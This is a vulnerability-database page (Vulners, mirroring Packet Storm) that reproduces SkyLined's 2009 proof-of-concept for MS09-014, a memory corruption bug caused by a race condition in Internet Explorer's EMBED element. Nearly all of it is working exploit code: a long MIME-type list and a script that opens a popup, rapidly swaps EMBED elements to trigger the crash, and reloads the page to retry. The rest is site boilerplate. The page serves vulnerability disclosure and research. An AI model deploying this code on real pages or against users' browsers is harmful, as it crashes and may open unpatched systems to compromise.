Lucene search
K

Microsoft Internet Explorer Memory Corruption

🗓️ 20 Apr 2009 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

Microsoft Internet Explorer memory corruption due to MSIE EMBED element race condition

Code
`<BODY onload=go()></BODY>  
<!--  
MS09-014: MSIE EMBED element race condition memory corruption  
Code by SkyLined <[email protected]>  
http://skypher.com/SkyLined/Repro/MSIE/EMBED%20memory%20corruption/repro3.html  
http://skypher.com/index.php/2009/04/19/ms09-014-embed-element-memory-corruption  
-->  
<SCRIPT>  
var asMimeTypes = [  
"x-world/x-3dmf",  
"x-world/x-3dmf",  
"application/octet-stream",  
"application/x-authorware-bin",  
"application/x-authorware-map",  
"application/x-authorware-seg",  
"text/vnd.abc",  
"text/html",  
"video/animaflex",  
"application/postscript",  
"audio/aiff",  
"audio/x-aiff",  
"audio/aiff",  
"audio/x-aiff",  
"audio/aiff",  
"audio/x-aiff",  
"application/x-aim",  
"text/x-audiosoft-intra",  
"application/x-navi-animation",  
"application/x-nokia-9000-communicator-add-on-software",  
"application/mime",  
"application/octet-stream",  
"application/arj",  
"application/octet-stream",  
"image/x-jg",  
"video/x-ms-asf",  
"text/x-asm",  
"text/asp",  
"application/x-mplayer2",  
"video/x-ms-asf",  
"video/x-ms-asf-plugin",  
"audio/basic",  
"audio/x-au",  
"application/x-troff-msvideo",  
"video/avi",  
"video/msvideo",  
"video/x-msvideo",  
"video/avs-video",  
"application/x-bcpio",  
"application/mac-binary",  
"application/macbinary",  
"application/octet-stream",  
"application/x-binary",  
"application/x-macbinary",  
"image/bmp",  
"image/bmp",  
"image/x-windows-bmp",  
"application/book",  
"application/book",  
"application/x-bzip2",  
"application/x-bsh",  
"application/x-bzip",  
"application/x-bzip2",  
"text/plain",  
"text/x-c",  
"text/plain",  
"application/vnd.ms-pki.seccat",  
"text/plain",  
"text/x-c",  
"application/clariscad",  
"application/x-cocoa",  
"application/cdf",  
"application/x-cdf",  
"application/x-netcdf",  
"application/pkix-cert",  
"application/x-x509-ca-cert",  
"application/x-chat",  
"application/x-chat",  
"application/java",  
"application/java-byte-code",  
"application/x-java-class",  
"application/octet-stream",  
"text/plain",  
"text/plain",  
"application/x-cpio",  
"text/x-c",  
"application/mac-compactpro",  
"application/x-compactpro",  
"application/x-cpt",  
"application/pkcs-crl",  
"application/pkix-crl",  
"application/pkix-cert",  
"application/x-x509-ca-cert",  
"application/x-x509-user-cert",  
"application/x-csh",  
"text/x-script.csh",  
"application/x-pointplus",  
"text/css",  
"text/plain",  
"application/x-director",  
"application/x-deepv",  
"text/plain",  
"application/x-x509-ca-cert",  
"video/x-dv",  
"application/x-director",  
"video/dl",  
"video/x-dl",  
"application/msword",  
"application/msword",  
"application/commonground",  
"application/drafting",  
"application/octet-stream",  
"video/x-dv",  
"application/x-dvi",  
"drawing/x-dwf (old)",  
"model/vnd.dwf",  
"application/acad",  
"image/vnd.dwg",  
"image/x-dwg",  
"application/dxf",  
"image/vnd.dwg",  
"image/x-dwg",  
"application/x-director",  
"text/x-script.elisp",  
"application/x-bytecode.elisp (compiled elisp)",  
"application/x-elc",  
"application/x-envoy",  
"application/postscript",  
"application/x-esrehber",  
"text/x-setext",  
"application/envoy",  
"application/x-envoy",  
"application/octet-stream",  
"text/plain",  
"text/x-fortran",  
"text/x-fortran",  
"text/plain",  
"text/x-fortran",  
"application/vnd.fdf",  
"application/fractals",  
"image/fif",  
"video/fli",  
"video/x-fli",  
"image/florian",  
"text/vnd.fmi.flexstor",  
"video/x-atomic3d-feature",  
"text/plain",  
"text/x-fortran",  
"image/vnd.fpx",  
"image/vnd.net-fpx",  
"application/freeloader",  
"audio/make",  
"text/plain",  
"image/g3fax",  
"image/gif",  
"video/gl",  
"video/x-gl",  
"audio/x-gsm",  
"audio/x-gsm",  
"application/x-gsp",  
"application/x-gss",  
"application/x-gtar",  
"application/x-compressed",  
"application/x-gzip",  
"application/x-gzip",  
"multipart/x-gzip",  
"text/plain",  
"text/x-h",  
"application/x-hdf",  
"application/x-helpfile",  
"application/vnd.hp-hpgl",  
"text/plain",  
"text/x-h",  
"text/x-script",  
"application/hlp",  
"application/x-helpfile",  
"application/x-winhelp",  
"application/vnd.hp-hpgl",  
"application/vnd.hp-hpgl",  
"application/binhex",  
"application/binhex4",  
"application/mac-binhex",  
"application/mac-binhex40",  
"application/x-binhex40",  
"application/x-mac-binhex40",  
"application/hta",  
"text/x-component",  
"text/html",  
"text/html",  
"text/html",  
"text/webviewhtml",  
"text/html",  
"x-conference/x-cooltalk",  
"image/x-icon",  
"text/plain",  
"image/ief",  
"image/ief",  
"application/iges",  
"model/iges",  
"application/iges",  
"model/iges",  
"application/x-ima",  
"application/x-httpd-imap",  
"application/inf",  
"application/x-internett-signup",  
"application/x-ip2",  
"video/x-isvideo",  
"audio/it",  
"application/x-inventor",  
"i-world/i-vrml",  
"application/x-livescreen",  
"audio/x-jam",  
"text/plain",  
"text/x-java-source",  
"text/plain",  
"text/x-java-source",  
"application/x-java-commerce",  
"image/jpeg",  
"image/pjpeg",  
"image/jpeg",  
"image/jpeg",  
"image/pjpeg",  
"image/jpeg",  
"image/pjpeg",  
"image/jpeg",  
"image/pjpeg",  
"image/x-jps",  
"application/x-javascript",  
"image/jutvision",  
"audio/midi",  
"music/x-karaoke",  
"application/x-ksh",  
"text/x-script.ksh",  
"audio/nspaudio",  
"audio/x-nspaudio",  
"audio/x-liveaudio",  
"application/x-latex",  
"application/lha",  
"application/octet-stream",  
"application/x-lha",  
"application/octet-stream",  
"text/plain",  
"audio/nspaudio",  
"audio/x-nspaudio",  
"text/plain",  
"application/x-lisp",  
"text/x-script.lisp",  
"text/plain",  
"text/x-la-asf",  
"application/x-latex",  
"application/octet-stream",  
"application/x-lzh",  
"application/lzx",  
"application/octet-stream",  
"application/x-lzx",  
"text/plain",  
"text/x-m",  
"video/mpeg",  
"audio/mpeg",  
"video/mpeg",  
"audio/x-mpequrl",  
"application/x-troff-man",  
"application/x-navimap",  
"text/plain",  
"application/mbedlet",  
"application/x-magic-cap-package-1.0",  
"application/mcad",  
"application/x-mathcad",  
"image/vasa",  
"text/mcf",  
"application/netmc",  
"application/x-troff-me",  
"message/rfc822",  
"message/rfc822",  
"application/x-midi",  
"audio/midi",  
"audio/x-mid",  
"audio/x-midi",  
"music/crescendo",  
"x-music/x-midi",  
"application/x-midi",  
"audio/midi",  
"audio/x-mid",  
"audio/x-midi",  
"music/crescendo",  
"x-music/x-midi",  
"application/x-frame",  
"application/x-mif",  
"message/rfc822",  
"www/mime",  
"audio/x-vnd.audioexplosion.mjuicemediafile",  
"video/x-motion-jpeg",  
"application/base64",  
"application/x-meme",  
"application/base64",  
"audio/mod",  
"audio/x-mod",  
"video/quicktime",  
"video/quicktime",  
"video/x-sgi-movie",  
"audio/mpeg",  
"audio/x-mpeg",  
"video/mpeg",  
"video/x-mpeg",  
"video/x-mpeq2a",  
"audio/mpeg3",  
"audio/x-mpeg-3",  
"video/mpeg",  
"video/x-mpeg",  
"audio/mpeg",  
"video/mpeg",  
"application/x-project",  
"video/mpeg",  
"video/mpeg",  
"audio/mpeg",  
"video/mpeg",  
"audio/mpeg",  
"application/vnd.ms-project",  
"application/x-project",  
"application/x-project",  
"application/x-project",  
"application/marc",  
"application/x-troff-ms",  
"video/x-sgi-movie",  
"audio/make",  
"application/x-vnd.audioexplosion.mzz",  
"image/naplps",  
"image/naplps",  
"application/x-netcdf",  
"application/vnd.nokia.configuration-message",  
"image/x-niff",  
"image/x-niff",  
"application/x-mix-transfer",  
"application/x-conference",  
"application/x-navidoc",  
"application/octet-stream",  
"application/oda",  
"application/x-omc",  
"application/x-omcdatamaker",  
"application/x-omcregerator",  
"text/x-pascal",  
"application/pkcs10",  
"application/x-pkcs10",  
"application/pkcs-12",  
"application/x-pkcs12",  
"application/x-pkcs7-signature",  
"application/pkcs7-mime",  
"application/x-pkcs7-mime",  
"application/pkcs7-mime",  
"application/x-pkcs7-mime",  
"application/x-pkcs7-certreqresp",  
"application/pkcs7-signature",  
"application/pro_eng",  
"text/pascal",  
"image/x-portable-bitmap",  
"application/vnd.hp-pcl",  
"application/x-pcl",  
"image/x-pict",  
"image/x-pcx",  
"chemical/x-pdb",  
"application/pdf",  
"audio/make",  
"audio/make.my.funk",  
"image/x-portable-graymap",  
"image/x-portable-greymap",  
"image/pict",  
"image/pict",  
"application/x-newton-compatible-pkg",  
"application/vnd.ms-pki.pko",  
"text/plain",  
"text/x-script.perl",  
"application/x-pixclscript",  
"image/x-xpixmap",  
"text/x-script.perl-module",  
"application/x-pagemaker",  
"application/x-pagemaker",  
"image/png",  
"application/x-portable-anymap",  
"image/x-portable-anymap",  
"application/mspowerpoint",  
"application/vnd.ms-powerpoint",  
"model/x-pov",  
"application/vnd.ms-powerpoint",  
"image/x-portable-pixmap",  
"application/mspowerpoint",  
"application/vnd.ms-powerpoint",  
"application/mspowerpoint",  
"application/powerpoint",  
"application/vnd.ms-powerpoint",  
"application/x-mspowerpoint",  
"application/mspowerpoint",  
"application/x-freelance",  
"application/pro_eng",  
"application/postscript",  
"application/octet-stream",  
"paleovu/x-pv",  
"application/vnd.ms-powerpoint",  
"text/x-script.phyton",  
"applicaiton/x-bytecode.python",  
"audio/vnd.qcelp",  
"x-world/x-3dmf",  
"x-world/x-3dmf",  
"image/x-quicktime",  
"video/quicktime",  
"video/x-qtc",  
"image/x-quicktime",  
"image/x-quicktime",  
"audio/x-pn-realaudio",  
"audio/x-pn-realaudio-plugin",  
"audio/x-realaudio",  
"audio/x-pn-realaudio",  
"application/x-cmu-raster",  
"image/cmu-raster",  
"image/x-cmu-raster",  
"image/cmu-raster",  
"text/x-script.rexx",  
"image/vnd.rn-realflash",  
"image/x-rgb",  
"application/vnd.rn-realmedia",  
"audio/x-pn-realaudio",  
"audio/mid",  
"audio/x-pn-realaudio",  
"audio/x-pn-realaudio",  
"audio/x-pn-realaudio-plugin",  
"application/ringing-tones",  
"application/vnd.nokia.ringing-tone",  
"application/vnd.rn-realplayer",  
"application/x-troff",  
"image/vnd.rn-realpix",  
"audio/x-pn-realaudio-plugin",  
"text/richtext",  
"text/vnd.rn-realtext",  
"application/rtf",  
"application/x-rtf",  
"text/richtext",  
"application/rtf",  
"text/richtext",  
"video/vnd.rn-realvideo",  
"text/x-asm",  
"audio/s3m",  
"application/octet-stream",  
"application/x-tbook",  
"application/x-lotusscreencam",  
"text/x-script.guile",  
"text/x-script.scheme",  
"video/x-scm",  
"text/plain",  
"application/sdp",  
"application/x-sdp",  
"application/sounder",  
"application/sea",  
"application/x-sea",  
"application/set",  
"text/sgml",  
"text/x-sgml",  
"text/sgml",  
"text/x-sgml",  
"application/x-bsh",  
"application/x-sh",  
"application/x-shar",  
"text/x-script.sh",  
"application/x-bsh",  
"application/x-shar",  
"text/html",  
"text/x-server-parsed-html",  
"audio/x-psid",  
"application/x-sit",  
"application/x-stuffit",  
"application/x-koan",  
"application/x-koan",  
"application/x-koan",  
"application/x-koan",  
"application/x-seelogo",  
"application/smil",  
"application/smil",  
"audio/basic",  
"audio/x-adpcm",  
"application/solids",  
"application/x-pkcs7-certificates",  
"text/x-speech",  
"application/futuresplash",  
"application/x-sprite",  
"application/x-sprite",  
"application/x-wais-source",  
"text/x-server-parsed-html",  
"application/streamingmedia",  
"application/vnd.ms-pki.certstore",  
"application/step",  
"application/sla",  
"application/vnd.ms-pki.stl",  
"application/x-navistyle",  
"application/step",  
"application/x-sv4cpio",  
"application/x-sv4crc",  
"image/vnd.dwg",  
"image/x-dwg",  
"application/x-world",  
"x-world/x-svr",  
"application/x-shockwave-flash",  
"application/x-troff",  
"text/x-speech",  
"application/x-tar",  
"application/toolbook",  
"application/x-tbook",  
"application/x-tcl",  
"text/x-script.tcl",  
"text/x-script.tcsh",  
"application/x-tex",  
"application/x-texinfo",  
"application/x-texinfo",  
"application/plain",  
"text/plain",  
"application/gnutar",  
"application/x-compressed",  
"image/tiff",  
"image/x-tiff",  
"image/tiff",  
"image/x-tiff",  
"application/x-troff",  
"audio/tsp-audio",  
"application/dsptype",  
"audio/tsplayer",  
"text/tab-separated-values",  
"image/florian",  
"text/plain",  
"text/x-uil",  
"text/uri-list",  
"text/uri-list",  
"application/i-deas",  
"text/uri-list",  
"text/uri-list",  
"application/x-ustar",  
"multipart/x-ustar",  
"application/octet-stream",  
"text/x-uuencode",  
"text/x-uuencode",  
"application/x-cdlink",  
"text/x-vcalendar",  
"application/vda",  
"video/vdo",  
"application/groupwise",  
"video/vivo",  
"video/vnd.vivo",  
"video/vivo",  
"video/vnd.vivo",  
"application/vocaltec-media-desc",  
"application/vocaltec-media-file",  
"audio/voc",  
"audio/x-voc",  
"video/vosaic",  
"audio/voxware",  
"audio/x-twinvq-plugin",  
"audio/x-twinvq",  
"audio/x-twinvq-plugin",  
"application/x-vrml",  
"model/vrml",  
"x-world/x-vrml",  
"x-world/x-vrt",  
"application/x-visio",  
"application/x-visio",  
"application/x-visio",  
"application/wordperfect6.0",  
"application/wordperfect6.1",  
"application/msword",  
"audio/wav",  
"audio/x-wav",  
"application/x-qpro",  
"image/vnd.wap.wbmp",  
"application/vnd.xara",  
"application/msword",  
"application/x-123",  
"windows/metafile",  
"text/vnd.wap.wml",  
"application/vnd.wap.wmlc",  
"text/vnd.wap.wmlscript",  
"application/vnd.wap.wmlscriptc",  
"application/msword",  
"application/wordperfect",  
"application/wordperfect",  
"application/wordperfect6.0",  
"application/wordperfect",  
"application/wordperfect",  
"application/x-wpwin",  
"application/x-lotus",  
"application/mswrite",  
"application/x-wri",  
"application/x-world",  
"model/vrml",  
"x-world/x-vrml",  
"model/vrml",  
"x-world/x-vrml",  
"text/scriplet",  
"application/x-wais-source",  
"application/x-wintalk",  
"image/x-xbitmap",  
"image/x-xbm",  
"image/xbm",  
"video/x-amt-demorun",  
"xgl/drawing",  
"image/vnd.xiff",  
"application/excel",  
"application/excel",  
"application/x-excel",  
"application/x-msexcel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/excel",  
"application/x-excel",  
"application/excel",  
"application/x-excel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/x-msexcel",  
"application/excel",  
"application/x-excel",  
"application/excel",  
"application/x-excel",  
"application/excel",  
"application/vnd.ms-excel",  
"application/x-excel",  
"application/x-msexcel",  
"audio/xm",  
"application/xml",  
"text/xml",  
"xgl/movie",  
"application/x-vnd.ls-xpix",  
"image/x-xpixmap",  
"image/xpm",  
"image/png",  
"video/x-amt-showrun",  
"image/x-xwd",  
"image/x-xwindowdump",  
"chemical/x-pdb",  
"application/x-compress",  
"application/x-compressed",  
"application/x-compressed",  
"application/x-zip-compressed",  
"application/zip",  
"multipart/x-zip",  
"application/octet-stream",  
"text/x-script.zsh"  
];  
var oWindow = window.open();  
function go() {  
if (oWindow == null) {  
document.body.innerHTML = "Please disable your popup blocker.";  
} else if (asMimeTypes.length > 0) {  
document.body.innerHTML = "Testing mime type " + asMimeTypes[0] + "...<embed type='" + asMimeTypes.shift() + "'></embed>";  
oWindow.document.body.innerHTML = "Testing mime type " + asMimeTypes[0] + "...<embed type='" + asMimeTypes.shift() + "'></embed>"  
setTimeout(go, 1);  
} else {  
oWindow.close();  
document.body.innerHTML = "You appear not to be vulnerable, trying again...";  
location.reload();  
}  
}  
</SCRIPT>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2009 00:00Current
0.7Low risk
Vulners AI Score0.7
38